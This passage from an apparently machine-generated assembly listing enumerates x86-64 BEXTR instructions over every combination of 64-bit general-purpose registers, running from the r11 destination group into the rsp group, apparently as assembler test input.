bextr r11, r10, rbp
bextr r11, r11, rax
bextr r11, r11, rbx
bextr r11, r11, rcx
bextr r11, r11, rdx
bextr r11, r11, rdi
bextr r11, r11, r8
bextr r11, r11, r9
bextr r11, r11, r10
bextr r11, r11, r11
bextr r11, r11, r12
bextr r11, r11, r13
bextr r11, r11, r14
bextr r11, r11, r15
bextr r11, r11, rsp
bextr r11, r11, rsi
bextr r11, r11, rbp
bextr r11, r12, rax
bextr r11, r12, rbx
bextr r11, r12, rcx
bextr r11, r12, rdx
bextr r11, r12, rdi
bextr r11, r12, r8
bextr r11, r12, r9
bextr r11, r12, r10
bextr r11, r12, r11
bextr r11, r12, r12
bextr r11, r12, r13
bextr r11, r12, r14
bextr r11, r12, r15
bextr r11, r12, rsp
bextr r11, r12, rsi
bextr r11, r12, rbp
bextr r11, r13, rax
bextr r11, r13, rbx
bextr r11, r13, rcx
bextr r11, r13, rdx
bextr r11, r13, rdi
bextr r11, r13, r8
bextr r11, r13, r9
bextr r11, r13, r10
bextr r11, r13, r11
bextr r11, r13, r12
bextr r11, r13, r13
bextr r11, r13, r14
bextr r11, r13, r15
bextr r11, r13, rsp
bextr r11, r13, rsi
bextr r11, r13, rbp
bextr r11, r14, rax
bextr r11, r14, rbx
bextr r11, r14, rcx
bextr r11, r14, rdx
bextr r11, r14, rdi
bextr r11, r14, r8
bextr r11, r14, r9
bextr r11, r14, r10
bextr r11, r14, r11
bextr r11, r14, r12
bextr r11, r14, r13
bextr r11, r14, r14
bextr r11, r14, r15
bextr r11, r14, rsp
bextr r11, r14, rsi
bextr r11, r14, rbp
bextr r11, r15, rax
bextr r11, r15, rbx
bextr r11, r15, rcx
bextr r11, r15, rdx
bextr r11, r15, rdi
bextr r11, r15, r8
bextr r11, r15, r9
bextr r11, r15, r10
bextr r11, r15, r11
bextr r11, r15, r12
bextr r11, r15, r13
bextr r11, r15, r14
bextr r11, r15, r15
bextr r11, r15, rsp
bextr r11, r15, rsi
bextr r11, r15, rbp
bextr r11, rsp, rax
bextr r11, rsp, rbx
bextr r11, rsp, rcx
bextr r11, rsp, rdx
bextr r11, rsp, rdi
bextr r11, rsp, r8
bextr r11, rsp, r9
bextr r11, rsp, r10
bextr r11, rsp, r11
bextr r11, rsp, r12
bextr r11, rsp, r13
bextr r11, rsp, r14
bextr r11, rsp, r15
bextr r11, rsp, rsp
bextr r11, rsp, rsi
bextr r11, rsp, rbp
bextr r11, rsi, rax
bextr r11, rsi, rbx
bextr r11, rsi, rcx
bextr r11, rsi, rdx
bextr r11, rsi, rdi
bextr r11, rsi, r8
bextr r11, rsi, r9
bextr r11, rsi, r10
bextr r11, rsi, r11
bextr r11, rsi, r12
bextr r11, rsi, r13
bextr r11, rsi, r14
bextr r11, rsi, r15
bextr r11, rsi, rsp
bextr r11, rsi, rsi
bextr r11, rsi, rbp
bextr r11, rbp, rax
bextr r11, rbp, rbx
bextr r11, rbp, rcx
bextr r11, rbp, rdx
bextr r11, rbp, rdi
bextr r11, rbp, r8
bextr r11, rbp, r9
bextr r11, rbp, r10
bextr r11, rbp, r11
bextr r11, rbp, r12
bextr r11, rbp, r13
bextr r11, rbp, r14
bextr r11, rbp, r15
bextr r11, rbp, rsp
bextr r11, rbp, rsi
bextr r11, rbp, rbp
bextr r12, rax, rax
bextr r12, rax, rbx
bextr r12, rax, rcx
bextr r12, rax, rdx
bextr r12, rax, rdi
bextr r12, rax, r8
bextr r12, rax, r9
bextr r12, rax, r10
bextr r12, rax, r11
bextr r12, rax, r12
bextr r12, rax, r13
bextr r12, rax, r14
bextr r12, rax, r15
bextr r12, rax, rsp
bextr r12, rax, rsi
bextr r12, rax, rbp
bextr r12, rbx, rax
bextr r12, rbx, rbx
bextr r12, rbx, rcx
bextr r12, rbx, rdx
bextr r12, rbx, rdi
bextr r12, rbx, r8
bextr r12, rbx, r9
bextr r12, rbx, r10
bextr r12, rbx, r11
bextr r12, rbx, r12
bextr r12, rbx, r13
bextr r12, rbx, r14
bextr r12, rbx, r15
bextr r12, rbx, rsp
bextr r12, rbx, rsi
bextr r12, rbx, rbp
bextr r12, rcx, rax
bextr r12, rcx, rbx
bextr r12, rcx, rcx
bextr r12, rcx, rdx
bextr r12, rcx, rdi
bextr r12, rcx, r8
bextr r12, rcx, r9
bextr r12, rcx, r10
bextr r12, rcx, r11
bextr r12, rcx, r12
bextr r12, rcx, r13
bextr r12, rcx, r14
bextr r12, rcx, r15
bextr r12, rcx, rsp
bextr r12, rcx, rsi
bextr r12, rcx, rbp
bextr r12, rdx, rax
bextr r12, rdx, rbx
bextr r12, rdx, rcx
bextr r12, rdx, rdx
bextr r12, rdx, rdi
bextr r12, rdx, r8
bextr r12, rdx, r9
bextr r12, rdx, r10
bextr r12, rdx, r11
bextr r12, rdx, r12
bextr r12, rdx, r13
bextr r12, rdx, r14
bextr r12, rdx, r15
bextr r12, rdx, rsp
bextr r12, rdx, rsi
bextr r12, rdx, rbp
bextr r12, rdi, rax
bextr r12, rdi, rbx
bextr r12, rdi, rcx
bextr r12, rdi, rdx
bextr r12, rdi, rdi
bextr r12, rdi, r8
bextr r12, rdi, r9
bextr r12, rdi, r10
bextr r12, rdi, r11
bextr r12, rdi, r12
bextr r12, rdi, r13
bextr r12, rdi, r14
bextr r12, rdi, r15
bextr r12, rdi, rsp
bextr r12, rdi, rsi
bextr r12, rdi, rbp
bextr r12, r8, rax
bextr r12, r8, rbx
bextr r12, r8, rcx
bextr r12, r8, rdx
bextr r12, r8, rdi
bextr r12, r8, r8
bextr r12, r8, r9
bextr r12, r8, r10
bextr r12, r8, r11
bextr r12, r8, r12
bextr r12, r8, r13
bextr r12, r8, r14
bextr r12, r8, r15
bextr r12, r8, rsp
bextr r12, r8, rsi
bextr r12, r8, rbp
bextr r12, r9, rax
bextr r12, r9, rbx
bextr r12, r9, rcx
bextr r12, r9, rdx
bextr r12, r9, rdi
bextr r12, r9, r8
bextr r12, r9, r9
bextr r12, r9, r10
bextr r12, r9, r11
bextr r12, r9, r12
bextr r12, r9, r13
bextr r12, r9, r14
bextr r12, r9, r15
bextr r12, r9, rsp
bextr r12, r9, rsi
bextr r12, r9, rbp
bextr r12, r10, rax
bextr r12, r10, rbx
bextr r12, r10, rcx
bextr r12, r10, rdx
bextr r12, r10, rdi
bextr r12, r10, r8
bextr r12, r10, r9
bextr r12, r10, r10
bextr r12, r10, r11
bextr r12, r10, r12
bextr r12, r10, r13
bextr r12, r10, r14
bextr r12, r10, r15
bextr r12, r10, rsp
bextr r12, r10, rsi
bextr r12, r10, rbp
bextr r12, r11, rax
bextr r12, r11, rbx
bextr r12, r11, rcx
bextr r12, r11, rdx
bextr r12, r11, rdi
bextr r12, r11, r8
bextr r12, r11, r9
bextr r12, r11, r10
bextr r12, r11, r11
bextr r12, r11, r12
bextr r12, r11, r13
bextr r12, r11, r14
bextr r12, r11, r15
bextr r12, r11, rsp
bextr r12, r11, rsi
bextr r12, r11, rbp
bextr r12, r12, rax
bextr r12, r12, rbx
bextr r12, r12, rcx
bextr r12, r12, rdx
bextr r12, r12, rdi
bextr r12, r12, r8
bextr r12, r12, r9
bextr r12, r12, r10
bextr r12, r12, r11
bextr r12, r12, r12
bextr r12, r12, r13
bextr r12, r12, r14
bextr r12, r12, r15
bextr r12, r12, rsp
bextr r12, r12, rsi
bextr r12, r12, rbp
bextr r12, r13, rax
bextr r12, r13, rbx
bextr r12, r13, rcx
bextr r12, r13, rdx
bextr r12, r13, rdi
bextr r12, r13, r8
bextr r12, r13, r9
bextr r12, r13, r10
bextr r12, r13, r11
bextr r12, r13, r12
bextr r12, r13, r13
bextr r12, r13, r14
bextr r12, r13, r15
bextr r12, r13, rsp
bextr r12, r13, rsi
bextr r12, r13, rbp
bextr r12, r14, rax
bextr r12, r14, rbx
bextr r12, r14, rcx
bextr r12, r14, rdx
bextr r12, r14, rdi
bextr r12, r14, r8
bextr r12, r14, r9
bextr r12, r14, r10
bextr r12, r14, r11
bextr r12, r14, r12
bextr r12, r14, r13
bextr r12, r14, r14
bextr r12, r14, r15
bextr r12, r14, rsp
bextr r12, r14, rsi
bextr r12, r14, rbp
bextr r12, r15, rax
bextr r12, r15, rbx
bextr r12, r15, rcx
bextr r12, r15, rdx
bextr r12, r15, rdi
bextr r12, r15, r8
bextr r12, r15, r9
bextr r12, r15, r10
bextr r12, r15, r11
bextr r12, r15, r12
bextr r12, r15, r13
bextr r12, r15, r14
bextr r12, r15, r15
bextr r12, r15, rsp
bextr r12, r15, rsi
bextr r12, r15, rbp
bextr r12, rsp, rax
bextr r12, rsp, rbx
bextr r12, rsp, rcx
bextr r12, rsp, rdx
bextr r12, rsp, rdi
bextr r12, rsp, r8
bextr r12, rsp, r9
bextr r12, rsp, r10
bextr r12, rsp, r11
bextr r12, rsp, r12
bextr r12, rsp, r13
bextr r12, rsp, r14
bextr r12, rsp, r15
bextr r12, rsp, rsp
bextr r12, rsp, rsi
bextr r12, rsp, rbp
bextr r12, rsi, rax
bextr r12, rsi, rbx
bextr r12, rsi, rcx
bextr r12, rsi, rdx
bextr r12, rsi, rdi
bextr r12, rsi, r8
bextr r12, rsi, r9
bextr r12, rsi, r10
bextr r12, rsi, r11
bextr r12, rsi, r12
bextr r12, rsi, r13
bextr r12, rsi, r14
bextr r12, rsi, r15
bextr r12, rsi, rsp
bextr r12, rsi, rsi
bextr r12, rsi, rbp
bextr r12, rbp, rax
bextr r12, rbp, rbx
bextr r12, rbp, rcx
bextr r12, rbp, rdx
bextr r12, rbp, rdi
bextr r12, rbp, r8
bextr r12, rbp, r9
bextr r12, rbp, r10
bextr r12, rbp, r11
bextr r12, rbp, r12
bextr r12, rbp, r13
bextr r12, rbp, r14
bextr r12, rbp, r15
bextr r12, rbp, rsp
bextr r12, rbp, rsi
bextr r12, rbp, rbp
bextr r13, rax, rax
bextr r13, rax, rbx
bextr r13, rax, rcx
bextr r13, rax, rdx
bextr r13, rax, rdi
bextr r13, rax, r8
bextr r13, rax, r9
bextr r13, rax, r10
bextr r13, rax, r11
bextr r13, rax, r12
bextr r13, rax, r13
bextr r13, rax, r14
bextr r13, rax, r15
bextr r13, rax, rsp
bextr r13, rax, rsi
bextr r13, rax, rbp
bextr r13, rbx, rax
bextr r13, rbx, rbx
bextr r13, rbx, rcx
bextr r13, rbx, rdx
bextr r13, rbx, rdi
bextr r13, rbx, r8
bextr r13, rbx, r9
bextr r13, rbx, r10
bextr r13, rbx, r11
bextr r13, rbx, r12
bextr r13, rbx, r13
bextr r13, rbx, r14
bextr r13, rbx, r15
bextr r13, rbx, rsp
bextr r13, rbx, rsi
bextr r13, rbx, rbp
bextr r13, rcx, rax
bextr r13, rcx, rbx
bextr r13, rcx, rcx
bextr r13, rcx, rdx
bextr r13, rcx, rdi
bextr r13, rcx, r8
bextr r13, rcx, r9
bextr r13, rcx, r10
bextr r13, rcx, r11
bextr r13, rcx, r12
bextr r13, rcx, r13
bextr r13, rcx, r14
bextr r13, rcx, r15
bextr r13, rcx, rsp
bextr r13, rcx, rsi
bextr r13, rcx, rbp
bextr r13, rdx, rax
bextr r13, rdx, rbx
bextr r13, rdx, rcx
bextr r13, rdx, rdx
bextr r13, rdx, rdi
bextr r13, rdx, r8
bextr r13, rdx, r9
bextr r13, rdx, r10
bextr r13, rdx, r11
bextr r13, rdx, r12
bextr r13, rdx, r13
bextr r13, rdx, r14
bextr r13, rdx, r15
bextr r13, rdx, rsp
bextr r13, rdx, rsi
bextr r13, rdx, rbp
bextr r13, rdi, rax
bextr r13, rdi, rbx
bextr r13, rdi, rcx
bextr r13, rdi, rdx
bextr r13, rdi, rdi
bextr r13, rdi, r8
bextr r13, rdi, r9
bextr r13, rdi, r10
bextr r13, rdi, r11
bextr r13, rdi, r12
bextr r13, rdi, r13
bextr r13, rdi, r14
bextr r13, rdi, r15
bextr r13, rdi, rsp
bextr r13, rdi, rsi
bextr r13, rdi, rbp
bextr r13, r8, rax
bextr r13, r8, rbx
bextr r13, r8, rcx
bextr r13, r8, rdx
bextr r13, r8, rdi
bextr r13, r8, r8
bextr r13, r8, r9
bextr r13, r8, r10
bextr r13, r8, r11
bextr r13, r8, r12
bextr r13, r8, r13
bextr r13, r8, r14
bextr r13, r8, r15
bextr r13, r8, rsp
bextr r13, r8, rsi
bextr r13, r8, rbp
bextr r13, r9, rax
bextr r13, r9, rbx
bextr r13, r9, rcx
bextr r13, r9, rdx
bextr r13, r9, rdi
bextr r13, r9, r8
bextr r13, r9, r9
bextr r13, r9, r10
bextr r13, r9, r11
bextr r13, r9, r12
bextr r13, r9, r13
bextr r13, r9, r14
bextr r13, r9, r15
bextr r13, r9, rsp
bextr r13, r9, rsi
bextr r13, r9, rbp
bextr r13, r10, rax
bextr r13, r10, rbx
bextr r13, r10, rcx
bextr r13, r10, rdx
bextr r13, r10, rdi
bextr r13, r10, r8
bextr r13, r10, r9
bextr r13, r10, r10
bextr r13, r10, r11
bextr r13, r10, r12
bextr r13, r10, r13
bextr r13, r10, r14
bextr r13, r10, r15
bextr r13, r10, rsp
bextr r13, r10, rsi
bextr r13, r10, rbp
bextr r13, r11, rax
bextr r13, r11, rbx
bextr r13, r11, rcx
bextr r13, r11, rdx
bextr r13, r11, rdi
bextr r13, r11, r8
bextr r13, r11, r9
bextr r13, r11, r10
bextr r13, r11, r11
bextr r13, r11, r12
bextr r13, r11, r13
bextr r13, r11, r14
bextr r13, r11, r15
bextr r13, r11, rsp
bextr r13, r11, rsi
bextr r13, r11, rbp
bextr r13, r12, rax
bextr r13, r12, rbx
bextr r13, r12, rcx
bextr r13, r12, rdx
bextr r13, r12, rdi
bextr r13, r12, r8
bextr r13, r12, r9
bextr r13, r12, r10
bextr r13, r12, r11
bextr r13, r12, r12
bextr r13, r12, r13
bextr r13, r12, r14
bextr r13, r12, r15
bextr r13, r12, rsp
bextr r13, r12, rsi
bextr r13, r12, rbp
bextr r13, r13, rax
bextr r13, r13, rbx
bextr r13, r13, rcx
bextr r13, r13, rdx
bextr r13, r13, rdi
bextr r13, r13, r8
bextr r13, r13, r9
bextr r13, r13, r10
bextr r13, r13, r11
bextr r13, r13, r12
bextr r13, r13, r13
bextr r13, r13, r14
bextr r13, r13, r15
bextr r13, r13, rsp
bextr r13, r13, rsi
bextr r13, r13, rbp
bextr r13, r14, rax
bextr r13, r14, rbx
bextr r13, r14, rcx
bextr r13, r14, rdx
bextr r13, r14, rdi
bextr r13, r14, r8
bextr r13, r14, r9
bextr r13, r14, r10
bextr r13, r14, r11
bextr r13, r14, r12
bextr r13, r14, r13
bextr r13, r14, r14
bextr r13, r14, r15
bextr r13, r14, rsp
bextr r13, r14, rsi
bextr r13, r14, rbp
bextr r13, r15, rax
bextr r13, r15, rbx
bextr r13, r15, rcx
bextr r13, r15, rdx
bextr r13, r15, rdi
bextr r13, r15, r8
bextr r13, r15, r9
bextr r13, r15, r10
bextr r13, r15, r11
bextr r13, r15, r12
bextr r13, r15, r13
bextr r13, r15, r14
bextr r13, r15, r15
bextr r13, r15, rsp
bextr r13, r15, rsi
bextr r13, r15, rbp
bextr r13, rsp, rax
bextr r13, rsp, rbx
bextr r13, rsp, rcx
bextr r13, rsp, rdx
bextr r13, rsp, rdi
bextr r13, rsp, r8
bextr r13, rsp, r9
bextr r13, rsp, r10
bextr r13, rsp, r11
bextr r13, rsp, r12
bextr r13, rsp, r13
bextr r13, rsp, r14
bextr r13, rsp, r15
bextr r13, rsp, rsp
bextr r13, rsp, rsi
bextr r13, rsp, rbp
bextr r13, rsi, rax
bextr r13, rsi, rbx
bextr r13, rsi, rcx
bextr r13, rsi, rdx
bextr r13, rsi, rdi
bextr r13, rsi, r8
bextr r13, rsi, r9
bextr r13, rsi, r10
bextr r13, rsi, r11
bextr r13, rsi, r12
bextr r13, rsi, r13
bextr r13, rsi, r14
bextr r13, rsi, r15
bextr r13, rsi, rsp
bextr r13, rsi, rsi
bextr r13, rsi, rbp
bextr r13, rbp, rax
bextr r13, rbp, rbx
bextr r13, rbp, rcx
bextr r13, rbp, rdx
bextr r13, rbp, rdi
bextr r13, rbp, r8
bextr r13, rbp, r9
bextr r13, rbp, r10
bextr r13, rbp, r11
bextr r13, rbp, r12
bextr r13, rbp, r13
bextr r13, rbp, r14
bextr r13, rbp, r15
bextr r13, rbp, rsp
bextr r13, rbp, rsi
bextr r13, rbp, rbp
bextr r14, rax, rax
bextr r14, rax, rbx
bextr r14, rax, rcx
bextr r14, rax, rdx
bextr r14, rax, rdi
bextr r14, rax, r8
bextr r14, rax, r9
bextr r14, rax, r10
bextr r14, rax, r11
bextr r14, rax, r12
bextr r14, rax, r13
bextr r14, rax, r14
bextr r14, rax, r15
bextr r14, rax, rsp
bextr r14, rax, rsi
bextr r14, rax, rbp
bextr r14, rbx, rax
bextr r14, rbx, rbx
bextr r14, rbx, rcx
bextr r14, rbx, rdx
bextr r14, rbx, rdi
bextr r14, rbx, r8
bextr r14, rbx, r9
bextr r14, rbx, r10
bextr r14, rbx, r11
bextr r14, rbx, r12
bextr r14, rbx, r13
bextr r14, rbx, r14
bextr r14, rbx, r15
bextr r14, rbx, rsp
bextr r14, rbx, rsi
bextr r14, rbx, rbp
bextr r14, rcx, rax
bextr r14, rcx, rbx
bextr r14, rcx, rcx
bextr r14, rcx, rdx
bextr r14, rcx, rdi
bextr r14, rcx, r8
bextr r14, rcx, r9
bextr r14, rcx, r10
bextr r14, rcx, r11
bextr r14, rcx, r12
bextr r14, rcx, r13
bextr r14, rcx, r14
bextr r14, rcx, r15
bextr r14, rcx, rsp
bextr r14, rcx, rsi
bextr r14, rcx, rbp
bextr r14, rdx, rax
bextr r14, rdx, rbx
bextr r14, rdx, rcx
bextr r14, rdx, rdx
bextr r14, rdx, rdi
bextr r14, rdx, r8
bextr r14, rdx, r9
bextr r14, rdx, r10
bextr r14, rdx, r11
bextr r14, rdx, r12
bextr r14, rdx, r13
bextr r14, rdx, r14
bextr r14, rdx, r15
bextr r14, rdx, rsp
bextr r14, rdx, rsi
bextr r14, rdx, rbp
bextr r14, rdi, rax
bextr r14, rdi, rbx
bextr r14, rdi, rcx
bextr r14, rdi, rdx
bextr r14, rdi, rdi
bextr r14, rdi, r8
bextr r14, rdi, r9
bextr r14, rdi, r10
bextr r14, rdi, r11
bextr r14, rdi, r12
bextr r14, rdi, r13
bextr r14, rdi, r14
bextr r14, rdi, r15
bextr r14, rdi, rsp
bextr r14, rdi, rsi
bextr r14, rdi, rbp
bextr r14, r8, rax
bextr r14, r8, rbx
bextr r14, r8, rcx
bextr r14, r8, rdx
bextr r14, r8, rdi
bextr r14, r8, r8
bextr r14, r8, r9
bextr r14, r8, r10
bextr r14, r8, r11
bextr r14, r8, r12
bextr r14, r8, r13
bextr r14, r8, r14
bextr r14, r8, r15
bextr r14, r8, rsp
bextr r14, r8, rsi
bextr r14, r8, rbp
bextr r14, r9, rax
bextr r14, r9, rbx
bextr r14, r9, rcx
bextr r14, r9, rdx
bextr r14, r9, rdi
bextr r14, r9, r8
bextr r14, r9, r9
bextr r14, r9, r10
bextr r14, r9, r11
bextr r14, r9, r12
bextr r14, r9, r13
bextr r14, r9, r14
bextr r14, r9, r15
bextr r14, r9, rsp
bextr r14, r9, rsi
bextr r14, r9, rbp
bextr r14, r10, rax
bextr r14, r10, rbx
bextr r14, r10, rcx
bextr r14, r10, rdx
bextr r14, r10, rdi
bextr r14, r10, r8
bextr r14, r10, r9
bextr r14, r10, r10
bextr r14, r10, r11
bextr r14, r10, r12
bextr r14, r10, r13
bextr r14, r10, r14
bextr r14, r10, r15
bextr r14, r10, rsp
bextr r14, r10, rsi
bextr r14, r10, rbp
bextr r14, r11, rax
bextr r14, r11, rbx
bextr r14, r11, rcx
bextr r14, r11, rdx
bextr r14, r11, rdi
bextr r14, r11, r8
bextr r14, r11, r9
bextr r14, r11, r10
bextr r14, r11, r11
bextr r14, r11, r12
bextr r14, r11, r13
bextr r14, r11, r14
bextr r14, r11, r15
bextr r14, r11, rsp
bextr r14, r11, rsi
bextr r14, r11, rbp
bextr r14, r12, rax
bextr r14, r12, rbx
bextr r14, r12, rcx
bextr r14, r12, rdx
bextr r14, r12, rdi
bextr r14, r12, r8
bextr r14, r12, r9
bextr r14, r12, r10
bextr r14, r12, r11
bextr r14, r12, r12
bextr r14, r12, r13
bextr r14, r12, r14
bextr r14, r12, r15
bextr r14, r12, rsp
bextr r14, r12, rsi
bextr r14, r12, rbp
bextr r14, r13, rax
bextr r14, r13, rbx
bextr r14, r13, rcx
bextr r14, r13, rdx
bextr r14, r13, rdi
bextr r14, r13, r8
bextr r14, r13, r9
bextr r14, r13, r10
bextr r14, r13, r11
bextr r14, r13, r12
bextr r14, r13, r13
bextr r14, r13, r14
bextr r14, r13, r15
bextr r14, r13, rsp
bextr r14, r13, rsi
bextr r14, r13, rbp
bextr r14, r14, rax
bextr r14, r14, rbx
bextr r14, r14, rcx
bextr r14, r14, rdx
bextr r14, r14, rdi
bextr r14, r14, r8
bextr r14, r14, r9
bextr r14, r14, r10
bextr r14, r14, r11
bextr r14, r14, r12
bextr r14, r14, r13
bextr r14, r14, r14
bextr r14, r14, r15
bextr r14, r14, rsp
bextr r14, r14, rsi
bextr r14, r14, rbp
bextr r14, r15, rax
bextr r14, r15, rbx
bextr r14, r15, rcx
bextr r14, r15, rdx
bextr r14, r15, rdi
bextr r14, r15, r8
bextr r14, r15, r9
bextr r14, r15, r10
bextr r14, r15, r11
bextr r14, r15, r12
bextr r14, r15, r13
bextr r14, r15, r14
bextr r14, r15, r15
bextr r14, r15, rsp
bextr r14, r15, rsi
bextr r14, r15, rbp
bextr r14, rsp, rax
bextr r14, rsp, rbx
bextr r14, rsp, rcx
bextr r14, rsp, rdx
bextr r14, rsp, rdi
bextr r14, rsp, r8
bextr r14, rsp, r9
bextr r14, rsp, r10
bextr r14, rsp, r11
bextr r14, rsp, r12
bextr r14, rsp, r13
bextr r14, rsp, r14
bextr r14, rsp, r15
bextr r14, rsp, rsp
bextr r14, rsp, rsi
bextr r14, rsp, rbp
bextr r14, rsi, rax
bextr r14, rsi, rbx
bextr r14, rsi, rcx
bextr r14, rsi, rdx
bextr r14, rsi, rdi
bextr r14, rsi, r8
bextr r14, rsi, r9
bextr r14, rsi, r10
bextr r14, rsi, r11
bextr r14, rsi, r12
bextr r14, rsi, r13
bextr r14, rsi, r14
bextr r14, rsi, r15
bextr r14, rsi, rsp
bextr r14, rsi, rsi
bextr r14, rsi, rbp
bextr r14, rbp, rax
bextr r14, rbp, rbx
bextr r14, rbp, rcx
bextr r14, rbp, rdx
bextr r14, rbp, rdi
bextr r14, rbp, r8
bextr r14, rbp, r9
bextr r14, rbp, r10
bextr r14, rbp, r11
bextr r14, rbp, r12
bextr r14, rbp, r13
bextr r14, rbp, r14
bextr r14, rbp, r15
bextr r14, rbp, rsp
bextr r14, rbp, rsi
bextr r14, rbp, rbp
bextr r15, rax, rax
bextr r15, rax, rbx
bextr r15, rax, rcx
bextr r15, rax, rdx
bextr r15, rax, rdi
bextr r15, rax, r8
bextr r15, rax, r9
bextr r15, rax, r10
bextr r15, rax, r11
bextr r15, rax, r12
bextr r15, rax, r13
bextr r15, rax, r14
bextr r15, rax, r15
bextr r15, rax, rsp
bextr r15, rax, rsi
bextr r15, rax, rbp
bextr r15, rbx, rax
bextr r15, rbx, rbx
bextr r15, rbx, rcx
bextr r15, rbx, rdx
bextr r15, rbx, rdi
bextr r15, rbx, r8
bextr r15, rbx, r9
bextr r15, rbx, r10
bextr r15, rbx, r11
bextr r15, rbx, r12
bextr r15, rbx, r13
bextr r15, rbx, r14
bextr r15, rbx, r15
bextr r15, rbx, rsp
bextr r15, rbx, rsi
bextr r15, rbx, rbp
bextr r15, rcx, rax
bextr r15, rcx, rbx
bextr r15, rcx, rcx
bextr r15, rcx, rdx
bextr r15, rcx, rdi
bextr r15, rcx, r8
bextr r15, rcx, r9
bextr r15, rcx, r10
bextr r15, rcx, r11
bextr r15, rcx, r12
bextr r15, rcx, r13
bextr r15, rcx, r14
bextr r15, rcx, r15
bextr r15, rcx, rsp
bextr r15, rcx, rsi
bextr r15, rcx, rbp
bextr r15, rdx, rax
bextr r15, rdx, rbx
bextr r15, rdx, rcx
bextr r15, rdx, rdx
bextr r15, rdx, rdi
bextr r15, rdx, r8
bextr r15, rdx, r9
bextr r15, rdx, r10
bextr r15, rdx, r11
bextr r15, rdx, r12
bextr r15, rdx, r13
bextr r15, rdx, r14
bextr r15, rdx, r15
bextr r15, rdx, rsp
bextr r15, rdx, rsi
bextr r15, rdx, rbp
bextr r15, rdi, rax
bextr r15, rdi, rbx
bextr r15, rdi, rcx
bextr r15, rdi, rdx
bextr r15, rdi, rdi
bextr r15, rdi, r8
bextr r15, rdi, r9
bextr r15, rdi, r10
bextr r15, rdi, r11
bextr r15, rdi, r12
bextr r15, rdi, r13
bextr r15, rdi, r14
bextr r15, rdi, r15
bextr r15, rdi, rsp
bextr r15, rdi, rsi
bextr r15, rdi, rbp
bextr r15, r8, rax
bextr r15, r8, rbx
bextr r15, r8, rcx
bextr r15, r8, rdx
bextr r15, r8, rdi
bextr r15, r8, r8
bextr r15, r8, r9
bextr r15, r8, r10
bextr r15, r8, r11
bextr r15, r8, r12
bextr r15, r8, r13
bextr r15, r8, r14
bextr r15, r8, r15
bextr r15, r8, rsp
bextr r15, r8, rsi
bextr r15, r8, rbp
bextr r15, r9, rax
bextr r15, r9, rbx
bextr r15, r9, rcx
bextr r15, r9, rdx
bextr r15, r9, rdi
bextr r15, r9, r8
bextr r15, r9, r9
bextr r15, r9, r10
bextr r15, r9, r11
bextr r15, r9, r12
bextr r15, r9, r13
bextr r15, r9, r14
bextr r15, r9, r15
bextr r15, r9, rsp
bextr r15, r9, rsi
bextr r15, r9, rbp
bextr r15, r10, rax
bextr r15, r10, rbx
bextr r15, r10, rcx
bextr r15, r10, rdx
bextr r15, r10, rdi
bextr r15, r10, r8
bextr r15, r10, r9
bextr r15, r10, r10
bextr r15, r10, r11
bextr r15, r10, r12
bextr r15, r10, r13
bextr r15, r10, r14
bextr r15, r10, r15
bextr r15, r10, rsp
bextr r15, r10, rsi
bextr r15, r10, rbp
bextr r15, r11, rax
bextr r15, r11, rbx
bextr r15, r11, rcx
bextr r15, r11, rdx
bextr r15, r11, rdi
bextr r15, r11, r8
bextr r15, r11, r9
bextr r15, r11, r10
bextr r15, r11, r11
bextr r15, r11, r12
bextr r15, r11, r13
bextr r15, r11, r14
bextr r15, r11, r15
bextr r15, r11, rsp
bextr r15, r11, rsi
bextr r15, r11, rbp
bextr r15, r12, rax
bextr r15, r12, rbx
bextr r15, r12, rcx
bextr r15, r12, rdx
bextr r15, r12, rdi
bextr r15, r12, r8
bextr r15, r12, r9
bextr r15, r12, r10
bextr r15, r12, r11
bextr r15, r12, r12
bextr r15, r12, r13
bextr r15, r12, r14
bextr r15, r12, r15
bextr r15, r12, rsp
bextr r15, r12, rsi
bextr r15, r12, rbp
bextr r15, r13, rax
bextr r15, r13, rbx
bextr r15, r13, rcx
bextr r15, r13, rdx
bextr r15, r13, rdi
bextr r15, r13, r8
bextr r15, r13, r9
bextr r15, r13, r10
bextr r15, r13, r11
bextr r15, r13, r12
bextr r15, r13, r13
bextr r15, r13, r14
bextr r15, r13, r15
bextr r15, r13, rsp
bextr r15, r13, rsi
bextr r15, r13, rbp
bextr r15, r14, rax
bextr r15, r14, rbx
bextr r15, r14, rcx
bextr r15, r14, rdx
bextr r15, r14, rdi
bextr r15, r14, r8
bextr r15, r14, r9
bextr r15, r14, r10
bextr r15, r14, r11
bextr r15, r14, r12
bextr r15, r14, r13
bextr r15, r14, r14
bextr r15, r14, r15
bextr r15, r14, rsp
bextr r15, r14, rsi
bextr r15, r14, rbp
bextr r15, r15, rax
bextr r15, r15, rbx
bextr r15, r15, rcx
bextr r15, r15, rdx
bextr r15, r15, rdi
bextr r15, r15, r8
bextr r15, r15, r9
bextr r15, r15, r10
bextr r15, r15, r11
bextr r15, r15, r12
bextr r15, r15, r13
bextr r15, r15, r14
bextr r15, r15, r15
bextr r15, r15, rsp
bextr r15, r15, rsi
bextr r15, r15, rbp
bextr r15, rsp, rax
bextr r15, rsp, rbx
bextr r15, rsp, rcx
bextr r15, rsp, rdx
bextr r15, rsp, rdi
bextr r15, rsp, r8
bextr r15, rsp, r9
bextr r15, rsp, r10
bextr r15, rsp, r11
bextr r15, rsp, r12
bextr r15, rsp, r13
bextr r15, rsp, r14
bextr r15, rsp, r15
bextr r15, rsp, rsp
bextr r15, rsp, rsi
bextr r15, rsp, rbp
bextr r15, rsi, rax
bextr r15, rsi, rbx
bextr r15, rsi, rcx
bextr r15, rsi, rdx
bextr r15, rsi, rdi
bextr r15, rsi, r8
bextr r15, rsi, r9
bextr r15, rsi, r10
bextr r15, rsi, r11
bextr r15, rsi, r12
bextr r15, rsi, r13
bextr r15, rsi, r14
bextr r15, rsi, r15
bextr r15, rsi, rsp
bextr r15, rsi, rsi
bextr r15, rsi, rbp
bextr r15, rbp, rax
bextr r15, rbp, rbx
bextr r15, rbp, rcx
bextr r15, rbp, rdx
bextr r15, rbp, rdi
bextr r15, rbp, r8
bextr r15, rbp, r9
bextr r15, rbp, r10
bextr r15, rbp, r11
bextr r15, rbp, r12
bextr r15, rbp, r13
bextr r15, rbp, r14
bextr r15, rbp, r15
bextr r15, rbp, rsp
bextr r15, rbp, rsi
bextr r15, rbp, rbp
bextr rsp, rax, rax
bextr rsp, rax, rbx
bextr rsp, rax, rcx
bextr rsp, rax, rdx
bextr rsp, rax, rdi
bextr rsp, rax, r8
bextr rsp, rax, r9
bextr rsp, rax, r10
bextr rsp, rax, r11
bextr rsp, rax, r12
bextr rsp, rax, r13
bextr rsp, rax, r14
